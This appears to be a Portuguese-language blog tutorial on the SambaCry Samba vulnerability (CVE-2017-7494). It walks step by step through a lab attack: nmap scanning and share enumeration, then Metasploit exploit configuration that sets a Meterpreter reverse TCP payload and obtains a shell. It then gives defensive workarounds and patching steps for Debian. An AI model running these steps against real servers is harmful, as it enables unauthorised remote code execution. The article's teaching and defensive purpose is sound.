DOE AGORA Qualquer valor

Exploit Linux Sambacry

Neste artigo vamos abordar o serviço de samba do Linux que afeta as versões 4.6.4, 4.5.10, 4.4.14 e outras versões mais antigas que vêm mencionadas no CVE-2017-7494 e pode ser encontrado no endereço http://cve.mitre.org/cgi-bin/cvenam...
 
.
Este artigo está dividido da seguinte forma:
  • Introdução Serviço Samba
  • Ferramentas de Ataque
  1. Scanning do alvo
  2. Enumeration do alvo
  3. Exploitation do alvo
  • Pacotes de correção
  • Soluções de Defesa
  • Conclusão
  • Referências
Resumidamente o serviço Samba permite que sistemas operacionais não-Windows, isto é, Sistemas Operacionais Linux compartilhem pastas, arquivos e impressoras compartilhadas de rede com o sistema operacional Windows.
Samba é um software Open-source que estende o protocolo SMB para o Linux. Isso éxecutado na maioria do sistema operacional ativos do Linux atualmente em uso, pois as redes de computadores cada vez mais são heterogêneos e necessitam de serviços que permitam a comunicação entre windows e Linux, sendo a partilha de arquivos um dos principais “gools” das empresas para o aumento da produtividade de trabalho das mesmas.
Falhas relacionadas com o protocolo SMB já vêm a ser retratadas por pesquisadores desde 2010, então não é propriamente uma novidade, segundo a base de dados do site exploit-db.com você encontra exploits desde esse ano, então estamos a falar de 7 anos até o apadrinhado “sambacry” nome atribuído não oficialmente pela comunidade geek que segue os recentes acontecimentos do malware “wannacry” que afetou os sistemas da Microsoft também pela exploração do protocolo SMB porta TCP 445.
Todas as versões do Samba a partir da versão 3.5.0 são vulneráveis ​à execução de código remotamente, permitindo que um cliente malicioso faça o upload de uma biblioteca compartilhada para um compartilhamento gravável e, em seguida, de ordem para o servidor o executar.
Um breve e rápida pesquisa no site shodan.io revela-nos que ainda existe 474,044 sistemas Unix que expõem esta porta na Internet, ou seja, no seu interface externo por algum motivo que eu desconheço totalmente, pois é extremamente inseguro, contudo este número aumenta drasticamente quando se faz a mesma “varredura” mas dentro da rede interna da empresa, que pode ser facilmente explorado por algum funcionário descontente com a empresa, ou algum usuário malicioso que conseguiu acesso físico para se conectar na empresa e lançar o exploit.
De seguida vamos reproduzir o que seria um ataque real, explorando esta vulnerabilidade com o auxilio do metasploit, um um laboratório em ambiente controlado, especialmente preparado para esta apresentação, com um kali linux como atacante e um debian 7.0 como vítima.

Ataque

Para atacar os sistemas descriminados utilizamos o Kali Linux com o auxílio do metasploit, em um ambiente controlado de laboratório para a execução deste exemplo prática, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as ações que praticar.
Não é intenção deste artigo explicar o passo-a-passo da configuração do metasploit nem do servidor samba, no entanto vários documentos de boa qualidade existem na internet explicando com detalhe as configurações básicas de setup inicial.
  1. Scanning
Para o scanning do nosso alvo utilizamos o conhecido nmap para comprovar que este tinha a porta open no protocolo TCP 445, conhecer a versão do Samba que estava a rodar no servidor, assim como dados de segurança, conta de autenticação utilizada, nível de privilégio, etc...
Utilizamos o comando:
root@kali:/# nmap -n -sC -sV -sC -p445 192.168.2.110
2. Enumeration
Para enumeração do serviço SMB, utilizamos também o nmap, rodando um script que já vem instalado por padrão no Nmap 7.40 e conseguimos recolher várias informações valiosas que nos permitem ter a certeza dos caminhos absolutos na hora de os configurar no Exploit, este passo é muito importante pois conseguimos ter uma visão geral da estrutura de arquivos que está configurada no arquivo do samba (smb.conf).
Utilizamos o comando:
root@kali:~# nmap --script=smb-enum-shares -p445 192.168.2.110
3. Exploitation
Agora em posse dos dados das duas etapas anteriores, passamos para a exploração do serviço samba.
Com o seguinte comando carregamos o exploit a ser utilizado:
msf > use /exploit/linux/samba/sambacry.rb
Com o seguinte comando observamos as partilhas disponíveis no servidor:
root@kali:~# smbclient -L \\192.168.2.110
Com o seguinte comando entramos em uma das partilhas no servidor:
root@kali:~# smbclient //192.168.2.110/public
Repare que em ambos os casos, não é necessário colocar password, pois a pasta foi configurada como pública no servidor alvo, uma prática comum para partilhar arquivos entre redes des computadores heterogêneas Windows e Linux, mas extremamente insegura.
De seguida observamos as opções que temos com o comando:
msf exploit (sambacry)> show options
Repare que não existe nenhum payload definido, então caso você não configure, o default vai ser utilizado, caso queira definir um especifico digite o seguinte comando:
msf exploit(sambacry) > show payloads
De seguida precisamos configurar pelo menos um parâmetros essencial para o exploit funciona, como o comando:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110
Em 99% dos casos não é necessário configurar mais nada, porém existem muitos outros parâmetros que devem ser observador caso o exploit não seja injetado com sucesso, que passam pelos seguinte comandos:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110
msf exploit(sambacry) > set target 2
target => 2
msf exploit(sambacry) > set SMB_SHARE_BASE /public
SMB_SHARE_BASE => /public
msf exploit(sambacry) > set SMB_SHARE_NAME public
SMB_SHARE_NAME => public
Não esquecendo do payload, caso não queira utilizar o genérico como já foi mencionado, com o comando:
msf exploit(sambacry) > set linux/x64/meterpreter/reverse_tcp
Após todas estas configurações e antes de se prosseguir com o exploit podemos observar que não existe nenhum cliente conectado no servidor alvo com o comando:
#smbstatus (Este comando foi digitado no alvo, para fiz didáticos, um invasor não conseguiria ter acesso ao shell da máquina desta forma).
Agora vamos executar o exploit com o comando:
msf exploit(sambacry) > exploit
Neste momento, podemos observar que conseguimos o shell com sucesso e podemos observar algumas características do alvo com os comandos:
Podemos também observar que somos o usuário nobody, exatamente isso, “não somos ninguém” e pertencemos ao grupo nogroup, “sem grupo”, podemos comprovar isso digitando de novo o comando smbstatus no servidor alvo.
Com isto terminamos o nosso ataque com sucesso, lembrando que dependendo do serviço samba, versão do Linux e configurações das pastas pode ser necessário alterar outros parâmetros mais avançados, apenas estamos a cobrir o básico, para fins didáticos.
Futuramente abordaremos mais profundamente características avançados deste exploit, em baixo deixamos uma breve imagem para se ter a noção das hipóteses que temos nesta poderosa ferramente de nome Metasploit.

Defesa

Antes de iniciarmos esta parte da discussão é necessário verificar o estado do samba com o seguinte comando:
# aptitude show samba
Neste momento é preciso observar a versão do samba que está instalado no servidor Linux, no caso apresentado a versão instalada é a 2:4.2.14+dfsg-0+deb8us que é uma versão vulnerável segundo a CVE-2017-7494, outra versão vulnerável também testada foi a 2:3.6.6+deb7u7 , vale dizer neste ponto que estamos a falar de uma distribuição debian 8 e debian 7, repectivamente, que estavam supostamente atualizados até ao momento da falha.
De um ponto de vista operacional, caso você não tenha feito o update do serviço samba no Linux, ou não possa por algum motivo o fazer de imediato, aqui está um “workaround” para que fique protegido até resolver a situação.
Para isso deve procurar pelo ficheiro de configuração do samba, que normalmente se encontra em /etc/samba/smb.conf
Mas caso não o encontre, pode digitar um dos seguintes comandos:
find / -name smb.conf (Procura pelo ficheiro de configuração do samba)
whereis samba (Procura pela pasta do samba, que contém o ficheiro de configuração)
Após o encontrar deve entrar com permissões de root e adicionar a seguinte linha dentro da seção [ global ]:
nt pipe support = no
Uma boa ideia também é adicionar a opção noexec nas partilhas para prevenir que binários (*.exe) sejam executados com sucesso, noexec é o contrário da opção exec que permite a execução de binários nas pastas montadas do sistema.
Logo de seguida deve *reiniciar o SMB daemon (smbd) com os seguintes comandos:
Stop
sudo service smbd stop
Start
sudo service smbd start
*Restart
sudo service smbd restart
(Comandos stop e start, apenas para referência, pode apenas reiniciar o serviço, ou seguir a sequência para ter a certeza absoluta).
A outra abordagem é realizar o update no Linux da seguinte forma:
Verificar se no sources.list as versões estáveis para a distribuição Debian estão corretas com as apresentadas em baixo:
(/etc/apt/sources.list)
deb http://security.debian.org
 
stable/updates main
deb-src http://security.debian.org/
 
stable/updates main
De seguida deve realizar o update dos pacotes disponíveis no momento, com o comando:
aptitude update
Por último, deve confirmar que acabou de instalar uma versão que já tem o patch para a vulnerabilidade (CVE-2017-7494
 
), com o comando:
aptitude show samba
Este procedimento serve para o Debian que foi o sistema operativo abordado no artigo, para o Ubuntu, CentOS, RHEL 7 e outras distribuições susceptíveis a esta vulnerabilidade deve pesquisar sobre os comandos a adotar, pois sempre variam de uma para outra distribuição.

Conclusão

Neste artigo foi possível abordar formas de ataque e defesa em relação à falha conhecida pelo nome de “sambacry”, observamos também alguns comandos dentro da ferramenta Metasploit e referenciamos todo o artigo com links que possem ser consultados na seção referências e disponibilizamos os links de correção de patch oficiais.

Pacotes de correção

Samba 4.5.10
Samba 4.6.4
Samba 4.4.14
Versões antigas e estáveis

Referências




Comentários

Ebook

Postagens mais visitadas